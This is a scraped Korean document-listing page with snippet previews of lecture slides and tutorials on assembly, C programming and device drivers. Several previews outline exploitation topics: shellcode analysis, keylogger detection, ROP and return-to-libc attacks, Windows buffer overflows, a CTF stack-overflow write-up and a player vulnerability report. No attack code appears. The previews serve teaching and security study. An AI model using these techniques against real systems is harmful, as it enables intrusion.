
More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft Word - Static analysis of Shellcode.doc

Microsoft Word - Static analysis of Shellcode.doc Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

슬라이드 1

슬라이드 1 명령어집합 주소지정모드 (addressing mode) 내용 명령어는크게연산자부분과이연산에필요한주소부분으로구성 이때주소부분은다양한형태를해석될수있으며, 해석하는방법을주소지정방식 ( 모드 )(addressing mode) 라한다. 즉피연산자정보를구하는방법을주소지정방식이라고함 명령어형식 주소지정 명령어형식에있는주소필드는상대적으로짧다. 따라서지정할수있는위치가제한된다.

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint - chap06-5 [호환 모드]

Microsoft PowerPoint - chap06-5 [호환 모드] 2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

Microsoft PowerPoint - a2.ppt [호환 모드]

Microsoft PowerPoint - a2.ppt [호환 모드] 마이크로컴퓨터의기본구조 2 장 x86 프로세서구조 ALU: 산술논리연산제어장치 (CU): 실행순서제어클럭 : 구성요소들의동작동기화 CPU + memory + I/O + bus 어셈블리언어 2 클럭 (Clock) CPU 와 Bus 동작은클럭에동기되어동작을한다. 메모리읽기사이클과대기상태 1 클럭사이클동안간단한동작을수행한다. 기계어명령어수행에적어도 1 클럭사이클이필요함

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 (   ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각 JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( http://java.sun.com/javase/6/docs/api ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각선의길이를계산하는메소드들을작성하라. 직사각형의가로와세로의길이는주어진다. 대각선의길이는 Math클래스의적절한메소드를이용하여구하라.

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능

학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 컴퓨터구조 제 9 강 중앙처리장치의조직과기능 학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 학습목표 rcpu 의성능을향상시키는요인들을알아본다. rcpu 의기본적인기능을이해한다. rcpu 는 ALU, 제어장치, 레지스터집합,

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Microsoft PowerPoint - chap11-포인터의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 포인터를 사용하는 다양한 방법에

More information

Microsoft PowerPoint - e pptx

Microsoft PowerPoint - e pptx Import/Export Data Using VBA Objectives Referencing Excel Cells in VBA Importing Data from Excel to VBA Using VBA to Modify Contents of Cells 새서브프로시저작성하기 프로시저실행하고결과확인하기 VBA 코드이해하기 Referencing Excel Cells

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

설계란 무엇인가?

설계란 무엇인가? 금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 6 강. 함수와배열, 포인터, 참조목차 함수와포인터 주소값의매개변수전달 주소의반환 함수와배열 배열의매개변수전달 함수와참조 참조에의한매개변수전달 참조의반환 프로그래밍연습 1 /15 6 강. 함수와배열, 포인터, 참조함수와포인터 C++ 매개변수전달방법 값에의한전달 : 변수값,

More information

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770>

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770> Parse and Parse Assembly ( 어셈블리어입문자를위한 어셈블리어자료들의모음 ) ## 목차 ## 0x01. ----------Introduce----------- 0x02. 어셈블리언어란? & 배우는목적 0x03. 어셈블리언어를위한기본지식 0x04. 어셈블리명령어의구성 0x05. 주소지정방식의이해 0x06. 어셈블리명령어정리 0x07. 어셈블리명령어상세

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

Microsoft PowerPoint - chap06-1Array.ppt

Microsoft PowerPoint - chap06-1Array.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어

More information

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc

Microsoft Word - 3부A windows 환경 IVF + visual studio.doc Visual Studio 2005 + Intel Visual Fortran 9.1 install Intel Visual Fortran 9.1 intel Visual Fortran Compiler 9.1 만설치해서 DOS 모드에서실행할수있지만, Visual Studio 2005 의 IDE 를사용하기위해서는 Visual Studio 2005 를먼저설치후 Integration

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT 2007. 2. 5 PLATFORM TEAM 정용학 차례 CONTAINER & WIDGET SPECIAL WIDGET 질의응답및토의 2 Container LCD에보여지는화면한개 1개이상의 Widget을가짐 3 Container 초기화과정 ui_init UMP_F_CONTAINERMGR_Initialize UMP_H_CONTAINERMGR_Initialize

More information

Frama-C/JESSIS 사용법 소개

Frama-C/JESSIS 사용법 소개 Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout << " 양수입력 : "; cin >> *p; if (*p <= 0) cout << " 양수를입력해야합니다 " << endl; return; 동적할

1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout <<  양수입력 : ; cin >> *p; if (*p <= 0) cout <<  양수를입력해야합니다  << endl; return; 동적할 15 장기타주제들 auto_ptr 변환함수 cast 연산자에의한명시적형변환실행시간타입정보알아내기 (RTTI) C++ 프로그래밍입문 1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout > *p; if (*p

More information

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 시스템호출개요 리눅스에서는사용자공간과커널공간을구분 사용자프로그램은사용자모드, 운영체제는커널모드에서수행 커널공간에대한접근은커널 ( 특권, priviledged) 모드에서가능 컴퓨팅자원 (CPU, memory, I/O 등 ) 을안전하게보호 커널수행을안전하게유지

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

KNK_C_05_Pointers_Arrays_structures_summary_v02

KNK_C_05_Pointers_Arrays_structures_summary_v02 Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information